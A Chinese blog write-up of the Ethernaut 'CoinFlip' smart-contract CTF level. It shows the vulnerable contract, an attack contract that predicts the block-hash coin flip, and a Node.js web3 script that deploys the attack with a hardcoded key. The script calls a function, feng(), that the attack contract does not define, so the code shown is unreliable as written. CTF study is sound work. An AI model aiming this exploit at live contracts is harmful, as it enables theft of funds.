blockchain | Ethernaut 03 coin flip
blockchain | Ethernaut 03 coin flip
投硬币合约,用区块哈希来当随机数。
合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
exp:
攻击合约:
pragma solidity ^0.8.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}
contract Attack {
CoinFlip constant private target = CoinFlip(0x26a3cFF310F14b0a67a03b95f371fdEbbd1317B7); // 指定合约地址
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exp() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
浏览器用不习惯,还是用node脚本来部署和攻击:
const Web3 = require('web3');
const fs = require('fs');
const rpcURL = 'http://127.0.0.1:8545';
//const addr = '0xda8e0A6Becd46E3C1d25BEbcc0E8f6723Cf2F924';
const web3 = new Web3.Web3(rpcURL); // 链接网络节点
const privateKey = '0x957c03cef7400defc7585d5dd81c48455557aa29c12c627ad0fd17d73effe696';
web3.eth.accounts.wallet.add(privateKey);
const wallet = web3.eth.accounts.wallet[0];
console.log(wallet)
var money = 0;
web3.eth.getBalance(wallet.address).then((res)=>{console.log(res); money=res});
const run = async function(){
let contract_json = JSON.parse(fs.readFileSync('contracts/Attack.json', 'utf8'))
let jsonabi = contract_json.abi
let bytecode= contract_json.bytecode
let myContract = new web3.eth.Contract(jsonabi);
var contract = await myContract.deploy({
data: bytecode,
}).send({
from: wallet.address,
gas: 1000000,
gasPrice: 10000000000,
});
console.log('合约部署完毕');
let ret = await contract.methods.feng().send(
{
from: wallet.address,
gas: 1000000,
gasPrice: 10000000000,
}
)
console.log(ret)
for (let i = 0; i < 9; i ++){
ret = await contract.methods.feng().send(
{
from: wallet.address,
gas: 1000000,
gasPrice: 10000000000,
}
)
console.log(ret)
}
}
run()
如果有问题可以在下方评论或者email:mzi_mzi@163.com